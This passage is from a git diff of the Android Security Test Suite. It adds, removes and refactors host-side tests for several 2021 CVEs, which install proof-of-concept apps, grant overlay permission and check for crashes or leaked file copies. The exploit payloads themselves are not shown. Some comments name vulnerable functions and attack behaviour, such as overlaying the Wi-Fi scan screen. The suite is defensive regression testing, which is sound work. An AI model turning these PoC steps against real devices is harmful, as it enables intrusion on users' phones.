+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
deleted file mode 100644
index 5f0c200..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
+++ /dev/null
@@ -1,125 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.AppModeInstant;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-import android.platform.test.annotations.AsbSecurityTest;
-
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import static org.junit.Assert.*;
-import static org.hamcrest.CoreMatchers.*;
-
-/**
- * Test that collects test results from test package android.security.cts.CVE_2021_0481.
- *
- * When this test builds, it also builds a support APK containing
- * {@link android.sample.cts.CVE_2021_0481.SampleDeviceTest}, the results of which are
- * collected from the hostside and reported accordingly.
- */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0481 extends BaseHostJUnit4Test {
- private static final String TEST_PKG = "android.security.cts.CVE_2021_0481";
- private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
- private static final String TEST_APP = "CVE-2021-0481.apk";
-
- private static final String DEVICE_DIR1 = "/data/user_de/0/com.android.settings/shared_prefs/";
- private static final String DEVICE_DIR2 = "/data/user_de/0/com.android.settings/cache/";
-
- //defined originally as
- //private static final String TAKE_PICTURE_FILE_NAME = "TakeEditUserPhoto2.jpg";
- //in com.android.settings.users.EditUserPhotoController class
- private static final String TAKE_PICTURE_FILE_NAME = "TakeEditUserPhoto2.jpg";
- private static final String TEST_FILE_NAME = "cve_2021_0481.txt";
-
- @Before
- public void setUp() throws Exception {
- uninstallPackage(getDevice(), TEST_PKG);
- }
-
- @Test
- @AsbSecurityTest(cveBugId = 172939189)
- @AppModeFull
- public void testRunDeviceTest() throws Exception {
-
- String cmd;
-
- //delete a source file just in case AdbUtils.pushResource()
- //doesn't overwrite existing file
- cmd = "rm " + DEVICE_DIR1 + TEST_FILE_NAME;
- AdbUtils.runCommandLine(cmd, getDevice());
-
- //push the source file to a device
- AdbUtils.pushResource("/" + TEST_FILE_NAME, DEVICE_DIR1 + TEST_FILE_NAME, getDevice());
-
- //delete a destination file which is supposed to be created by a vulnerable device
- //by coping TEST_FILE_NAME -> TAKE_PICTURE_FILE_NAME
- cmd = "rm " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME;
- AdbUtils.runCommandLine(cmd, getDevice());
-
- installPackage();
-
- //ensure the screen is woken up.
- //KEYCODE_WAKEUP wakes up the screen
- //KEYCODE_MENU called twice unlocks the screen (if locked)
- //Note: (applies to Android 12 only):
- // KEYCODE_MENU called less than twice doesnot unlock the screen
- // no matter how many times KEYCODE_HOME is called.
- // This is likely a timing issue which has to be investigated further
- getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
- getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
- getDevice().executeShellCommand("input keyevent KEYCODE_HOME");
- getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
-
- //run the test
- Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testUserPhotoSetUp"));
-
- //go to home screen after test
- getDevice().executeShellCommand("input keyevent KEYCODE_HOME");
-
- //Check if TEST_FILE_NAME has been copied by "Evil activity"
- //If the file has been copied then it means the vulnerability is active so the test fails.
- cmd = "cmp -s " + DEVICE_DIR1 + TEST_FILE_NAME + " " +
- DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME + "; echo $?";
- String result = AdbUtils.runCommandLine(cmd, getDevice()).trim();
- CLog.i(cmd + " -->" + result);
-
- //Delete files created by this test
- cmd = "rm " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME;
- AdbUtils.runCommandLine(cmd, getDevice());
- cmd = "rm " + DEVICE_DIR1 + TEST_FILE_NAME;
- AdbUtils.runCommandLine(cmd, getDevice());
-
- //final assert
- assertThat(result, not(is("0")));
- }
-
- private void installPackage() throws Exception {
- installPackage(TEST_APP, new String[0]);
- }
-}
-
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
index db0a1b2..30af472 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
@@ -1,4 +1,4 @@
-/**
+/*
* Copyright (C) 2021 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
@@ -16,85 +16,44 @@
package android.security.cts;
+import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import java.util.regex.Pattern;
-import java.util.regex.Matcher;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Assert;
+import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
-import static org.hamcrest.core.Is.is;
-import static org.junit.Assert.assertThat;
-
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0523 extends SecurityTestCase {
+public class CVE_2021_0523 extends StsExtraBusinessLogicHostTestBase {
+ private static final String TEST_PKG = "android.security.cts.cve_2021_0523";
+ private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ private static final String TEST_APP = "CVE-2021-0523.apk";
- private static void extractInt(String str, int[] displaySize) {
- str = ((str.replaceAll("[^\\d]", " ")).trim()).replaceAll(" +", " ");
- if (str.equals("")) {
- return;
- }
- String s[] = str.split(" ");
- for (int i = 0; i < s.length; ++i) {
- displaySize[i] = Integer.parseInt(s[i]);
- }
+ @Before
+ public void setUp() throws Exception {
+ ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
}
/**
* b/174047492
*/
- @Test
+ @AppModeFull
@AsbSecurityTest(cveBugId = 174047492)
+ @Test
public void testPocCVE_2021_0523() throws Exception {
- final int SLEEP_INTERVAL_MILLISEC = 30 * 1000;
- String apkName = "CVE-2021-0523.apk";
- String appPath = AdbUtils.TMP_PATH + apkName;
- String packageName = "android.security.cts.cve_2021_0523";
- String crashPattern =
- "Device is vulnerable to b/174047492 hence any app with " +
- "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen";
- ITestDevice device = getDevice();
-
- try {
- /* Push the app to /data/local/tmp */
- pocPusher.appendBitness(false);
- pocPusher.pushFile(apkName, appPath);
-
- /* Wake up the screen */
- AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
- AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
- AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
-
- /* Install the application */
- AdbUtils.runCommandLine("pm install " + appPath, device);
-
- /* Grant "Draw over other apps" permission */
- AdbUtils.runCommandLine(
- "pm grant " + packageName + " android.permission.SYSTEM_ALERT_WINDOW", device);
-
- /* Start the application */
- AdbUtils.runCommandLine("am start -n " + packageName + "/.PocActivity", getDevice());
- Thread.sleep(SLEEP_INTERVAL_MILLISEC);
-
- /* Get screen width and height */
- int[] displaySize = new int[2];
- extractInt(AdbUtils.runCommandLine("wm size", device), displaySize);
- int width = displaySize[0];
- int height = displaySize[1];
-
- /* Give a tap command for center of screen */
- AdbUtils.runCommandLine("input tap " + width / 2 + " " + height / 2, device);
- } catch (Exception e) {
- e.printStackTrace();
- } finally {
- /* Un-install the app after the test */
- AdbUtils.runCommandLine("pm uninstall " + packageName, device);
-
- /* Detection of crash pattern in the logs */
- String logcat = AdbUtils.runCommandLine("logcat -d *:S AndroidRuntime:E", device);
- Pattern pattern = Pattern.compile(crashPattern, Pattern.MULTILINE);
- assertThat(crashPattern, pattern.matcher(logcat).find(), is(false));
- }
+ installPackage(TEST_APP);
+ AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
+ getDevice());
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence"));
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
index 34e2ca1..5a7ec8d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
@@ -20,14 +20,14 @@
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import org.junit.Assert;
import org.junit.Before;
import org.junit.runner.RunWith;
import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0586 extends BaseHostJUnit4Test {
+public class CVE_2021_0586 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0586.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
index 0c8f0a9..eb74b20 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
@@ -21,7 +21,7 @@
import android.platform.test.annotations.RequiresDevice;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import java.util.regex.Pattern;
import org.junit.Assert;
import org.junit.Before;
@@ -33,7 +33,7 @@
import static org.junit.Assume.assumeTrue;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0591 extends BaseHostJUnit4Test {
+public class CVE_2021_0591 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0591";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
new file mode 100644
index 0000000..29fd2b3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
@@ -0,0 +1,56 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0642 extends StsExtraBusinessLogicHostTestBase {
+ static final String TEST_APP = "CVE-2021-0642.apk";
+ static final String TEST_PKG = "android.security.cts.cve_2021_0642";
+ static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+
+ @Before
+ public void setUp() throws Exception {
+ ITestDevice device = getDevice();
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+ uninstallPackage(device, TEST_PKG);
+ }
+
+ /**
+ * b/185126149
+ */
+ @AppModeFull
+ @AsbSecurityTest(cveBugId = 185126149)
+ @Test
+ public void testPocCVE_2021_0642() throws Exception {
+ installPackage(TEST_APP);
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_0642"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
index f5f6b8b..26bba4a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
@@ -19,14 +19,14 @@
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import org.junit.Assert;
import org.junit.Before;
import org.junit.runner.RunWith;
import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0685 extends BaseHostJUnit4Test {
+public class CVE_2021_0685 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.cve_2021_0685";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0685.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
index 9b592bd..bf261fd 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
@@ -22,7 +22,7 @@
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import com.android.tradefed.log.LogUtil.CLog;
import org.junit.After;
@@ -38,7 +38,7 @@
* Test installs sample app and then tries to overwrite *.apk file
*/
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0691 extends BaseHostJUnit4Test {
+public class CVE_2021_0691 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0691";
private static final String TEST_APP = "CVE-2021-0691.apk";
private static final String DEVICE_TMP_DIR = "/data/local/tmp/";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
index 5f13cf6..2b7ad14 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
@@ -19,13 +19,13 @@
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0693 extends BaseHostJUnit4Test {
+public class CVE_2021_0693 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0693";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
index c46bede..fabaf89 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
@@ -20,13 +20,13 @@
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import org.junit.Before;
import org.junit.runner.RunWith;
import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0706 extends BaseHostJUnit4Test {
+public class CVE_2021_0706 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0706";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
index 27900e1..760c265 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
@@ -20,7 +20,7 @@
import android.util.Log;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import com.android.tradefed.log.LogUtil.CLog;
import org.junit.After;
import org.junit.Assert;
@@ -30,7 +30,7 @@
import static org.junit.Assert.*;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0921 extends BaseHostJUnit4Test {
+public class CVE_2021_0921 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0921";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0921.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
new file mode 100644
index 0000000..ecb6bdd
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0953 extends StsExtraBusinessLogicHostTestBase {
+
+ @AsbSecurityTest(cveBugId = 184046278)
+ @Test
+ public void testPocCVE_2021_0953() throws Exception {
+ final String TEST_PKG = "android.security.cts.CVE_2021_0953";
+ final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ final String TEST_APP = "CVE-2021-0953.apk";
+ ITestDevice device = getDevice();
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+ installPackage(TEST_APP);
+ runDeviceTests(TEST_PKG, TEST_CLASS, "testMutablePendingIntent");
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
index a242904..65934f2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
@@ -16,18 +16,20 @@
package android.security.cts;
-import static org.junit.Assert.assertFalse;
+
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0965 extends BaseHostJUnit4Test {
+public class CVE_2021_0965 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0965";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0965.apk";
@@ -45,10 +47,6 @@
@Test
public void testPocCVE_2021_0965() throws Exception {
installPackage(TEST_APP, new String[0]);
- runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission");
- String errorLog = "Vulnerable to b/194300867 !!";
- String logcat = AdbUtils.runCommandLine("logcat -d AndroidRuntime:E *:S", getDevice());
- Pattern pattern = Pattern.compile(errorLog, Pattern.MULTILINE);
- assertFalse(pattern.matcher(logcat).find());
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission"));
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java
new file mode 100644
index 0000000..3b12ce5
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39626 extends StsExtraBusinessLogicHostTestBase {
+ static final String TEST_APP = "CVE-2021-39626.apk";
+ static final String TEST_PKG = "android.security.cts.CVE_2021_39626";
+ static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+
+ @AsbSecurityTest(cveBugId = 194695497)
+ @Test
+ public void testPocCVE_2021_39626() throws Exception {
+ ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
+
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage(TEST_APP, "-t");
+ runDeviceTests(TEST_PKG, TEST_CLASS, "testBtDiscoverable");
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
new file mode 100644
index 0000000..6cac004
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.Arrays;
+import java.util.regex.Pattern;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39664 extends SecurityTestCase {
+
+ /**
+ * b/203938029
+ * Vulnerability Behaviour: SIGSEGV in self
+ * Vulnerable Library: libandroidfw (As per AOSP code)
+ * Vulnerable Function: android::LoadedPackage::Load (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 203938029)
+ @Test
+ public void testPocCVE_2021_39664() throws Exception {
+ String inputFiles[] = {"cve_2021_39664"};
+ String signals[] = {CrashUtils.SIGSEGV};
+ String binaryName = "CVE-2021-39664";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libandroidfw",
+ "android::LoadedPackage::Load"));
+ testConfig.config.setSignals(signals);
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
new file mode 100644
index 0000000..519bd24
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39665 extends SecurityTestCase {
+
+ /**
+ * b/204077881
+ * Vulnerability Behavior: SIGSEGV in self
+ * Vulnerable Library: libmediaplayerservice (As per AOSP code)
+ * Vulnerable Function: android::AAVCAssembler::checkSpsUpdated (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 204077881)
+ @Test
+ public void testPocCVE_2021_39665() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV};
+ String binaryName = "CVE-2021-39665";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libmediaplayerservice",
+ "android::AAVCAssembler::checkSpsUpdated"));
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
similarity index 64%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
index 43a058c..8f12b52 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
